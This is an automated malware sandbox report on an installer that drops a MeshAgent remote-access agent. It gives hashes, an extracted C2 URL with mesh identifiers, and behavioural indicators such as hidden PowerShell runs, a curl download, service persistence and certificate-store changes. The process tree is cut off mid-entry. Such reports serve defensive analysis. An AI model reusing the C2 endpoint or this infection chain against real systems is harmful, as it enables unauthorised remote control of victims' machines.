Overview
overview
10Static
static
3App/alpha5...-64.js
windows10-2004-x64
3App/alpha5...-64.js
windows11-ltsc_2024-x64
3App/alpha5...64.exe
windows10-2004-x64
3App/alpha5...64.exe
windows11-ltsc_2024-x64
3Installer....64.exe
windows10-2004-x64
10Installer....64.exe
windows11-ltsc_2024-x64
10$PLUGINSDI...fo.dll
windows10-2004-x64
3$PLUGINSDI...fo.dll
windows11-ltsc_2024-x64
3$PLUGINSDI...em.dll
windows10-2004-x64
3$PLUGINSDI...em.dll
windows11-ltsc_2024-x64
3$PLUGINSDIR/UAC.dll
windows10-2004-x64
3$PLUGINSDIR/UAC.dll
windows11-ltsc_2024-x64
3$PLUGINSDI...os.dll
windows10-2004-x64
3$PLUGINSDI...os.dll
windows11-ltsc_2024-x64
3$PLUGINSDI...sh.dll
windows10-2004-x64
3$PLUGINSDI...sh.dll
windows11-ltsc_2024-x64
3$PLUGINSDI...ce.dll
windows10-2004-x64
3$PLUGINSDI...ce.dll
windows11-ltsc_2024-x64
3$PLUGINSDI...ec.dll
windows10-2004-x64
3$PLUGINSDI...ec.dll
windows11-ltsc_2024-x64
3$PLUGINSDI...ry.dll
windows10-2004-x64
3$PLUGINSDI...ry.dll
windows11-ltsc_2024-x64
3Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
14/09/2026, 15:59
Static task
static1
3 signatures
Behavioral task
behavioral1
Sample
App/alpha59621/Installer-35-12-5-64.js
Resource
win10v2004-20260911-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
App/alpha59621/Installer-35-12-5-64.js
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
1 signatures
150 seconds
Behavioral task
behavioral3
Sample
App/alpha59621/Installer-35-12-5-64.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral4
Sample
App/alpha59621/Installer-35-12-5-64.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
2 signatures
150 seconds
Behavioral task
behavioral5
Sample
Installer.35-12-5-64.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
16 signatures
150 seconds
Behavioral task
behavioral6
Sample
Installer.35-12-5-64.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
18 signatures
150 seconds
Behavioral task
behavioral7
Sample
$PLUGINSDIR/MoreInfo.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral8
Sample
$PLUGINSDIR/MoreInfo.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
3 signatures
150 seconds
Behavioral task
behavioral9
Sample
$PLUGINSDIR/System.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral10
Sample
$PLUGINSDIR/System.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
3 signatures
150 seconds
Behavioral task
behavioral11
Sample
$PLUGINSDIR/UAC.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral12
Sample
$PLUGINSDIR/UAC.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
3 signatures
150 seconds
Behavioral task
behavioral13
Sample
$PLUGINSDIR/execDos.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral14
Sample
$PLUGINSDIR/execDos.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
3 signatures
150 seconds
Behavioral task
behavioral15
Sample
$PLUGINSDIR/newadvsplash.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral16
Sample
$PLUGINSDIR/newadvsplash.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
2 signatures
150 seconds
Behavioral task
behavioral17
Sample
$PLUGINSDIR/newtextreplace.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral18
Sample
$PLUGINSDIR/newtextreplace.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
3 signatures
150 seconds
Behavioral task
behavioral19
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral20
Sample
$PLUGINSDIR/nsExec.dll
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
3 signatures
150 seconds
Behavioral task
behavioral21
Sample
$PLUGINSDIR/registry.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral22
Sample
$PLUGINSDIR/registry.dll
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
3 signatures
150 seconds
General
- Target Installer.35-12-5-64.exe
- Size 152KB
- Sample260914-te6c3abe82
- SHA256 9d9dd44c508af2fe864a8264ba5833d7c47fd21fe1b4c72ff6e05f7da94c288f
- MD5 ddc559ab995e489f7ad9c37d3203f0cf
- SHA1 9d32f3248bef553b666e6b3c7e382ab151a16837
- SHA512 4284ee6ba3621a8d90e52ab41fe4f06d10be62a078d87394af24ba3f3b531575b3d897a4676268576924b9d69991f234cc1c98fd94b18df3010a1e1786f2e285
- SSDEEP 3072:HfweqOYEUXPn4tvFGRfIyZR2di/YB+KYzK3pCW6WG:oEUXWvF2fJZR6K+16K3e
- TLSH T14CE3D04097F4C072F9F21EB429B19A621EB6FC010875D55FA308DEDE7931AD09D2AB1B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
meshagent
Version
-
2
Botnet
-
NEW
C2
-
http://player.gamesstatusfun.com:443/agent.ashx
Attributes
-
mesh_id
0xAE428A5A0906258DF1CE1DCB7103054BBBEA79CE744530C32868BD180AFD486D1FBE469A58ECB0917D6F60DB624EC18A
-
server_id
4E185E1B5FBF52FC1CF1F625EACF0197475E2E5F40A3305F53A7B6CE9C5D86863C8D78CE2B08939BD77FDDECC969D5D9
-
wss
wss://player.gamesstatusfun.com:443/agent.ashx
Signatures
- Detects MeshAgent payload 1 IoCs
resource yara_rule behavioral5/files/0x000a0000000243cf-76.dat family_meshagent - Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell and hide display window.
pid Process 1592 powershell.exe 4284 powershell.exe 1936 powershell.exe 4464 powershell.exe 3816 powershell.exe 4628 powershell.exe 1816 powershell.exe 2732 powershell.exe 864 powershell.exe 4300 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 7 1680 curl.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" " MeshAgent64.exe - Executes dropped EXE 19 IoCs
pid Process 224 MeshAgent64.exe 3836 MeshAgent.exe 3768 MeshAgent.exe 4016 MeshAgent.exe 3028 MeshAgent.exe 4952 MeshAgent.exe 4376 MeshAgent.exe 2652 MeshAgent.exe 404 MeshAgent.exe 1620 MeshAgent.exe 3384 MeshAgent.exe 4092 MeshAgent.exe 4520 MeshAgent.exe 4960 MeshAgent.exe 3816 MeshAgent.exe 4524 MeshAgent.exe 4876 MeshAgent.exe 4140 MeshAgent.exe 4492 MeshAgent.exe - Loads dropped DLL 5 IoCs
pid Process 2648 Installer.35-12-5-64.exe 2648 Installer.35-12-5-64.exe 2648 Installer.35-12-5-64.exe 2648 Installer.35-12-5-64.exe 2648 Installer.35-12-5-64.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\System32\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Windows\System32\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\rpcrt4.pdb MeshAgent.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Mesh Agent\symbols\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\ntdll.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\ncrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\user32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\advapi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\msvcrt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\ntasn1.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\win32u.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\gdi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dbgcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\ntdll.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\gdi32full.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\shell32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dbgcore.pdb MeshAgent.exe File created C:\Program Files\Mesh Agent\MeshAgent.msh MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\combase.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\gdi32full.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\gdiplus.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\ole32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\DLL\dbgcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\ntdll.pdb MeshAgent.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Installer.35-12-5-64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Installer-35-12-5-64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MeshAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MeshAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs MeshAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates MeshAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe - Suspicious behavior: EnumeratesProcesses 26 IoCs
pid Process 2648 Installer.35-12-5-64.exe 2648 Installer.35-12-5-64.exe 2768 Installer-35-12-5-64.exe 2768 Installer-35-12-5-64.exe 1592 powershell.exe 1592 powershell.exe 2648 Installer.35-12-5-64.exe 2648 Installer.35-12-5-64.exe 1936 powershell.exe 1936 powershell.exe 4464 powershell.exe 4464 powershell.exe 3816 powershell.exe 3816 powershell.exe 4628 powershell.exe 4628 powershell.exe 1816 powershell.exe 1816 powershell.exe 2732 powershell.exe 2732 powershell.exe 864 powershell.exe 864 powershell.exe 4300 powershell.exe 4300 powershell.exe 4284 powershell.exe 4284 powershell.exe - Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeDebugPrivilege 1592 powershell.exe Token: SeDebugPrivilege 1936 powershell.exe Token: SeDebugPrivilege 4464 powershell.exe Token: SeDebugPrivilege 3816 powershell.exe Token: SeDebugPrivilege 4628 powershell.exe Token: SeDebugPrivilege 1816 powershell.exe Token: SeDebugPrivilege 2732 powershell.exe Token: SeDebugPrivilege 864 powershell.exe Token: SeDebugPrivilege 4300 powershell.exe Token: SeDebugPrivilege 4284 powershell.exe - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 2648 wrote to memory of 2768 2648 Installer.35-12-5-64.exe 87 PID 2768 wrote to memory of 1680 2768 Installer-35-12-5-64.exe 89 PID 2768 wrote to memory of 1592 2768 Installer-35-12-5-64.exe 90 PID 1592 wrote to memory of 224 1592 powershell.exe 91 PID 3836 wrote to memory of 1936 3836 MeshAgent.exe 96 PID 3836 wrote to memory of 3768 3836 MeshAgent.exe 99 PID 4016 wrote to memory of 4464 4016 MeshAgent.exe 102 PID 4016 wrote to memory of 3028 4016 MeshAgent.exe 104 PID 4952 wrote to memory of 3816 4952 MeshAgent.exe 107 PID 4952 wrote to memory of 4376 4952 MeshAgent.exe 109 PID 2652 wrote to memory of 4628 2652 MeshAgent.exe 112 PID 2652 wrote to memory of 404 2652 MeshAgent.exe 114 PID 1620 wrote to memory of 1816 1620 MeshAgent.exe 117 PID 1620 wrote to memory of 3384 1620 MeshAgent.exe 119 PID 4092 wrote to memory of 2732 4092 MeshAgent.exe 124 PID 4092 wrote to memory of 4520 4092 MeshAgent.exe 126 PID 4960 wrote to memory of 864 4960 MeshAgent.exe 129 PID 4960 wrote to memory of 3816 4960 MeshAgent.exe 131 PID 4524 wrote to memory of 4300 4524 MeshAgent.exe 134 PID 4524 wrote to memory of 4876 4524 MeshAgent.exe 136 PID 4140 wrote to memory of 4284 4140 MeshAgent.exe 139 PID 4140 wrote to memory of 4492 4140 MeshAgent.exe 141
Processes
-
C:\Users\Admin\AppData\Local\Temp\Installer.35-12-5-64.exe"C:\Users\Admin\AppData\Local\Temp\Installer.35-12-5-64.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Users\Admin\AppData\Local\Temp\App\alpha59621\Installer-35-12-5-64.exe"C:\Users\Admin\AppData\Local\Temp\App\alpha59621\Installer-35-12-5-64.exe" "Installer-35-12-5-64.dll" --key1 key1232⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2768 -
